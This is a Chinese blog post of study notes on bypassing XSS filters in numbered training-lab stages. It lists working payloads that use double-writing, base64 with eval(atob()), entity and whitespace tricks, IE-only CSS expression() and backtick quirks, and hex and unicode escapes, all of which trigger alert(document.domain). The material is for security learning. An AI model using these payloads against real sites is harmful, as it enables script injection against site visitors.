热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

XSS漏洞绕过

Web安全攻防学习笔记


Web安全攻防 学习笔记


一、XSS 漏洞

1.1、跳过 Stage #9

在 span 标签中添加 Onclick= "alert(document.domain)" (其他关卡也可以这样跳过)

在这里插入图片描述


1.2、domain 过滤绕过

首先还是构造特殊无害字符串,响应中寻找字符串观察闭合格式。
在这里插入图片描述



  1. 双写绕过

"><script>alert(document.dodomainmain);</script>


  1. 编码绕过

    (1)加密 alert(document.domain)
    (2)得到 YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
    (3)atob 解码 base64
    (4)eval 执行 Javascript 代码



"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

1.3、绕过替换 script 和 on 事件的 XSS



  • script 替换成 xscript
    在这里插入图片描述

  • onmouseover 替换成了 onxxx
    在这里插入图片描述

  • Javascript 伪协议也不行
    在这里插入图片描述

在 Stage #11 演示

&#09; tab 制表符 html 十进制编码
&#160; 空格 制表符 html 十进制编码
=> (在这里四个空格 ≠ 一个 tab, 当然也可能是浏览器或者是编码本身的问题)

">#09cript:alert(document.domain);">xss
">#160&#160&#160&#160cript:alert(document.domain);">xss




二、利用 IE 特性绕过 XSS 过滤

2.1、没有 IE 浏览器可以用 IETester 代替



  1. 官网:https://www.my-debugbar.com/wiki/IETester/HomePage



  2. 在 IETester 中打开 Stage #xx 网址进行测试



  3. 在 IETester 中进行测试,因为各个版本的 IE 都需要进行测试,Windows10 里面自带的 IE 不会执行



2.2、Stage #12 绕过的引号及尖括号过滤



  1. IE 中两个反引号 &#8220; 可以闭合一个左边双引号 "



  2. 那么比用尖括号的情况下,可以这样闭合: &#8220;οnclick=alert(document.domain) 。(这个只适用于IE浏览器,且可能不是每个版本都兼容)



2.3、Stage #13 利用 CSS 特性绕过 XSS 过滤



  1. CSS 层叠样式表,是一种用来表现 HTML 或 XML 等文件样式的计算机语言。可以修饰页面效果,拿网站效果演示,修改 css 看页面效果



  2. 观察发现,输入的内容存放在 style



  3. 输入背景设置 background:url("Javascript:alert(document.domain);"); (并不是所有版本的 IE 都可以)



2.4、Stage #14 IE 中利用 CSS 触发 XSS

        css expression(css表达式)又称 Dynamic properties(动态属性)是早期微软 DHTML 的产物,以其可以在 CSS 中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从 IE5 开始得到支持,后因标准、性能、安全性等问题,微软从 IE8 beta2 标准模式开始,取消对 css expression 的支。



  • CSS 中执行 JS

    IE5 及其以后版本支持在 CSS 中使用 expression,用来把 CSS 属性和 Javascript 表达式关联起来


here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});

=> # 后面是一个 JS 的判断: 如果 window.x 参数不存在, 那么执行后面的语句
# 由 here:expression(if(!window.x){alert(document.domain);window.x=1;}); 改写而来
# 因为存在 expression -> xxx 替换
here:e\\0xpression(οnmοuseοver=function(){alert(document.domain)})

=> # 意为:onmouseover 事件触发后面的匿名函数
# 由 here:expression(οnmοuseοver=function(){alert(document.domain)}) 改写而来
# 因为存在 expression -> xxx 替换




三、16 进制绕过过滤触发 XSS

3.1、十六进制介绍

        十六进制转换,16 进制每一位上可以是从小到大为 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16 个大小不同 的数,即 逢 16 进 1,其中 A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示 10,11,12,13,14,15


3.2、Python —— 16 进制转换

import binascii

s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode()) # 把 > 转换为 3e; 测试得 <转为 3c

print("\\x"+s.decode()) # 在编码前面加上 \x, 第一个 \ 用来转义, 最终得 \x3e

在这里插入图片描述

为什么要加 \x

因为 Javascript 不会自动将 3e 看作是 >,因为它不认识,所以要加上 \x 即 \x3e Javascript 才会在执行是转换为 >

Stage #15 测试



  1. 尝试得,输入之前的字符串都会被当作是字符串存放在 value 中



  2. 双斜杠+16 进制绕过



\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
# \x3c 与 \x3e 分别表示 <和 >
# 还有一个 \ 用于转义其后面的 \

在这里插入图片描述




四、Unicode 绕过过滤触发 XSS

4.1、Unicode 介绍

        Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字。

        Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。


4.2、Python —— Unicode 转换

import binascii

s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode()) # 把 > 转换为 3e; 测试得 <转为 3c

print("\\u00"+s.decode()) # 在编码前面加上 \u00, 第一个 \ 用来转义, 最终得 \u003e

Stage #16 测试



  1. 尝试得,输入之前的字符串都会被当作是字符串存放在 value 中

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

在这里插入图片描述



推荐阅读
  • 探索Squid反向代理中的远程代码执行漏洞
    本文深入探讨了在网站渗透测试过程中发现的Squid反向代理系统中存在的远程代码执行漏洞,旨在帮助网站管理者和开发者了解此类漏洞的危害及防范措施。 ... [详细]
  • 雨林木风 GHOST XP SP3 经典珍藏版 V2017.11
    雨林木风 GHOST XP SP3 经典珍藏版 V2017.11 ... [详细]
  • 2023年1月28日网络安全热点
    涵盖最新的网络安全动态,包括OpenSSH和WordPress的安全更新、VirtualBox提权漏洞、以及谷歌推出的新证书验证机制等内容。 ... [详细]
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • DNN Community 和 Professional 版本的主要差异
    本文详细解析了 DotNetNuke (DNN) 的两种主要版本:Community 和 Professional。通过对比两者的功能和附加组件,帮助用户选择最适合其需求的版本。 ... [详细]
  • 近期,谷歌公司的一名安全工程师Eduardo Vela在jQuery Mobile框架中发现了一项可能引发跨站脚本攻击(XSS)的安全漏洞。此漏洞使得使用jQuery Mobile的所有网站面临潜在的安全威胁。 ... [详细]
  • 本报告详细记录了在2018-2019学年网络安全技术课程中的实验过程,重点探讨了PC平台上逆向工程的基本方法和利用缓冲区溢出(BOF)漏洞的技术。通过一系列实验,加深了对计算机系统安全性的理解。 ... [详细]
  • KKCMS代码审计初探
    本文主要介绍了KKCMS的安装过程及其基本功能,重点分析了该系统中存在的验证码重用、SQL注入及XSS等安全问题。适合初学者作为入门指南。 ... [详细]
  • 开发笔记:新手DVWACSRF
    开发笔记:新手DVWACSRF ... [详细]
  • 本文详细介绍了跨站脚本攻击(XSS)的基本概念、工作原理,并通过实际案例演示如何构建XSS漏洞的测试环境,以及探讨了XSS攻击的不同形式和防御策略。 ... [详细]
  • 汇总了2023年7月7日最新的网络安全新闻和技术更新,包括最新的漏洞披露、工具发布及安全事件。 ... [详细]
  • 解决PHP与MySQL连接时出现500错误的方法
    本文详细探讨了当使用PHP连接MySQL数据库时遇到500内部服务器错误的多种解决方案,提供了详尽的操作步骤和专业建议。无论是初学者还是有经验的开发者,都能从中受益。 ... [详细]
  • 2018年3月31日,CSDN、火星财经联合中关村区块链产业联盟等机构举办的2018区块链技术及应用峰会(BTA)核心分会场圆满举行。多位业内顶尖专家深入探讨了区块链的核心技术原理及其在实际业务中的应用。 ... [详细]
  • 本文深入探讨了SQL数据库中常见的面试问题,包括如何获取自增字段的当前值、防止SQL注入的方法、游标的作用与使用、索引的形式及其优缺点,以及事务和存储过程的概念。通过详细的解答和示例,帮助读者更好地理解和应对这些技术问题。 ... [详细]
author-avatar
傅笑寒
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有